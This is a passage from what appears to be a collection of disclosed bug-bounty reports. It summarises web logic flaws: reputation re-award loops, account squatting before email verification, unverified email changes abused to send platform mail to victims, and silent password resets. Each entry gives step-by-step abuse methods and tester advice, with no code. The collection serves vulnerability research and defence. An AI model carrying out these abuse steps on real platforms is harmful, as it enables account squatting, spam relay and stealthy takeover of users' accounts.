Reputation/metric awards are recomputed every time a resolved item with an attached duplicate is reopened and re-resolved, instead of being granted once; the duplicate leaves no public trace, so a controlling actor can loop the transition to inflate a target's score/counts unboundedly.
Method
- Submit a report (B) and a second report (C) to a program you control triage on
- Resolve C; mark B as duplicate of C
- Reopen C and resolve it again; each cycle re-awards +2
- Repeat -> unbounded, stealthy reputation/count inflation
Insight — Audit reward/counter logic for idempotency: does the +N fire once per event or every time the state transition repeats? Reopen->resolve, unpublish->publish, and duplicate-linking loops are classic re-award primitives. Also check that duplicate/linked items don't double-count.
Real-world example
Pre-registration account squatting via unverified signup
◆ Info
Specimen #245538 · wakatime · none · 7 votes · resolved
Program wakatimeSurface webTag account-takeover
Root cause
Signup creates a usable account before email verification and reserves the email address, so an attacker who registers a victim's email first both blocks the victim from ever signing up and holds a functional unverified account.
Method
- Sign up on the target using the victim's email address
- Optionally change the account email to an invalid/attacker address before confirming
- Victim is now told 'email already registered' and cannot create their own account
Insight — On any signup flow, test registering an email you don't control: if the account becomes usable pre-verification and the address is reserved, you get denial-of-registration and account squatting. Verify emails BEFORE reserving/activating.
Real-world example
Email change without verification abused to send platform emails to victims
◆ Info
Specimen #30975 · x · USD 560 · 6 votes · resolved
Program xSurface webTag account-takeover
Root cause
Account email can be updated without any confirmation to the new address, so an attacker sets the victim's email as their own and then triggers platform-generated emails (e.g. audience-upload notifications) that are delivered to the victim from the trusted domain.
Method
- In account settings set the email field to the victim's email; it saves with no verification
- Trigger a platform action that emails the account owner (e.g. upload a Custom Audience CSV in Audience Manager)
- Victim receives a legitimate platform email (e.g. 'your uploaded list did not match enough people'), abusing the platform as a spam/relay vector
Insight — Any profile email field that updates without re-verification is a spoof/relay primitive: set it to a victim address, then fire any owner-notification workflow to make the trusted platform email arbitrary people. Always require confirmation on the NEW address before it is used.
Real-world example
Missing security notification on sensitive account action
◆ Info
Specimen #38343 · security · USD 500 · 5 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A password change performed via the reset-link flow does not send the password-change notification email that the normal in-profile change does, so a takeover via reset can happen silently; similarly, account deletion sent no confirmation email.
Method
- Change the password through the forgot-password/reset-link path (not the in-profile form)
- Observe no 'your password was changed' email is sent
- Compare with the profile-change path which does notify -> the reset path is a notification gap
Insight — Enumerate every sensitive state change (password change, email change, account deletion, MFA reset) across ALL entry paths and confirm each fires a security notification. Attackers exploit the one path that is silent to make ATO/deletion stealthy. Test reset-link vs profile-form vs API separately.